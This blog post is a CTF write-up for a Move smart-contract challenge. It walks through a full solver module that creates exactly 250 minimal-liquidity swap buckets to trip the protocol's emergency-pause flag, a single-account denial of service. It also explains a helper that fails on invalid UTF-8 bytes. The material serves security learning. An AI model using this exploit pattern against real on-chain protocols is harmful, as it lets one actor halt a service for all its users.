Back to blog
September 25, 2025CTF - Smart Contracts

Defcon - Appsec CTF - Move Smarttable

The challenge’s protocol flips a global is_emergency_paused flag once the total number of swap “buckets” reaches a threshold (250). Your solver simply:

  1. joins the protocol,
  2. creates exactly 250 distinct buckets with minimal liquidity,
  3. stops immediately so you don’t hit the pause guard on a 251st creation.

A built-in helper (generate_bucket_id) is unsafe (it builds a String from arbitrary BCS bytes → invalid UTF-8). Your solver avoids it and constructs valid UTF-8 bucket IDs instead.


  • A global invariant is implicitly enforced by a simple counter and a boolean “circuit breaker”.
  • Hitting the limit is a write-time effect inside create_swap_bucket. As long as you are not paused at function entry, the call can proceed and flip the flag during that call.
  • Therefore, a single account can deterministically DoS the system by creating 250 empty buckets.

generate_bucket_id

The challenge exposes a helper that (simplified) does:

string::append(&mut id, string::utf8(std::bcs::to_bytes(&nonce)));

BCS bytes of a number are arbitrary bytes, not guaranteed UTF-8 → 0x1::string::EINVALID_UTF8.

Your solver builds bucket IDs with clean ASCII/UTF-8 instead.


module solution::solve {
    use std::string::{Self, String};
    use std::vector;
    use challenge::challenge;

    /// Convert a u64 to its ASCII decimal representation as a UTF-8 String.
    fun u64_to_string(n: u64): String {
        let bytes = u64_to_ascii(n);
        string::utf8(bytes)
    }

  • String in Move must be valid UTF-8. We therefore convert the number to ASCII digits first and only then call string::utf8.
    /// Build ASCII decimal bytes for n.
    fun u64_to_ascii(n: u64): vector<u8> {
        let m = n;
        // handle 0 explicitly
        if (m == 0) {
            let z = vector::empty<u8>();
            vector::push_back(&mut z, 48); // '0'
            return z
        };

        let rev = vector::empty<u8>(); // digits reversed
        while (m > 0) {
            let d = m % 10;
            vector::push_back(&mut rev, 48u8 + (d as u8)); // '0' + d
            m = m / 10;
        };

        let out = vector::empty<u8>();
        let len = vector::length(&rev);
        let i = 0u64;
        while (i < len) {
            let idx = len - 1 - i;
            let b_ref = vector::borrow(&rev, idx);
            vector::push_back(&mut out, *b_ref);
            i = i + 1;
        };
        out
    }

  • Standard decimal conversion:
    • Extract digits % 10, store reversed.
    • Reverse the buffer into out.
    • Return a vector of ASCII bytes ('0' is 48).
  • Note: depending on your Move version, replace (d as u8) with u8(d) if casts via as are not supported.
    public entry fun solve(account: &signer) {
        // Ensure we have a user profile
        challenge::join_protocol(account);

  • Some challenges require an explicit registration step; this ensures any accountscoped resources exist.
        // Create exactly 250 buckets to trigger the emergency pause.
        let i = 0u64;
        while (i < 250) {
            // Token symbols (valid UTF-8)
            let token_a = string::utf8(b"APT");
            let token_b = string::utf8(b"USDC");

  • Why create these every iteration? String in Move is not Copy; reusing the same value after it’s been passed/consumed can fail type checks. Fresh values per loop keep ownership trivial.
            // Build a unique, valid UTF-8 bucket_id: "APT_USDC_" ++ decimal(i)
            let bucket_id = {
                let base = string::utf8(b"APT_USDC_");
                let suffix = u64_to_string(i);
                string::append(&mut base, suffix);
                base
            };

  • Guaranteed valid UTF-8.
  • Satisfies uniqueness per iteration, which the bucket map likely enforces.
            // Minimal positive liquidity
            challenge::create_swap_bucket(account, bucket_id, token_a, token_b, 1, 1);

            i = i + 1;
        };
        // After the 250th creation:
        //   protocol.total_buckets >= 250
        //   protocol.is_emergency_paused == true
    }
}

  • Use minimal non-zero amounts to pass > 0 checks while minimizing gas/IO.
  • Stop at exactly 250 so the final successful call flips the pause flag. Attempting a 251st would hit the pause guard and abort.

  1. join_protocol(account) → initializes per-user state if required.
  2. Loop i = 0..249:
    • Build bucket_id = "APT_USDC_" ++ decimal(i).
    • create_swap_bucket(...) inserts and increments a global total_buckets.
  3. On i == 249 (the 250th bucket):
    • total_buckets becomes 250 inside the call.
    • Module sets is_emergency_paused = true.
    • Call returns successfully; loop ends.
  4. Post-condition holds: is_emergency_paused == true && total_buckets >= 250.

image.png

  • The protocol pauses itself when the number of swap “buckets” reaches 250.
  • Your job: create exactly 250 buckets so is_emergency_paused == true.
  1. Register in the protocol:
    • challenge::join_protocol(account);
  2. Loop 250 times (i = 0..249):
    • Build a unique, valid UTF-8 bucket ID: "APT_USDC_" + decimal(i).
      • You don’t use generate_bucket_id because it tries to make a String from raw bytes (can be invalid UTF-8) → crash.
      • You use u64_to_string(i) which converts the number into ASCII digits (always valid UTF-8).
    • Create the bucket with minimal non-zero liquidity (1, 1):
      • challenge::create_swap_bucket(account, bucket_id, "APT", "USDC", 1, 1);
  3. Stop at 250:
    • On the 250th creation, the module flips is_emergency_paused = true.
    • If you tried a 251st in the same tx, it would fail due to the pause check.
  • In Move, String values are moved/consumed when passed; making fresh "APT", "USDC", and the bucket_id each time keeps ownership simple and avoids borrow/move errors.
  • u64_to_ascii:
    • Turns a number into its ASCII digits (bytes '0'..'9'), e.g. 123 -> [49,50,51].
  • u64_to_string:
    • Wraps those bytes with string::utf8(...) to get a valid String.
  • The loop:
    • token_a = "APT", token_b = "USDC".
    • bucket_id = "APT_USDC_" ++ u64_to_string(i).
    • create_swap_bucket(..., 1, 1).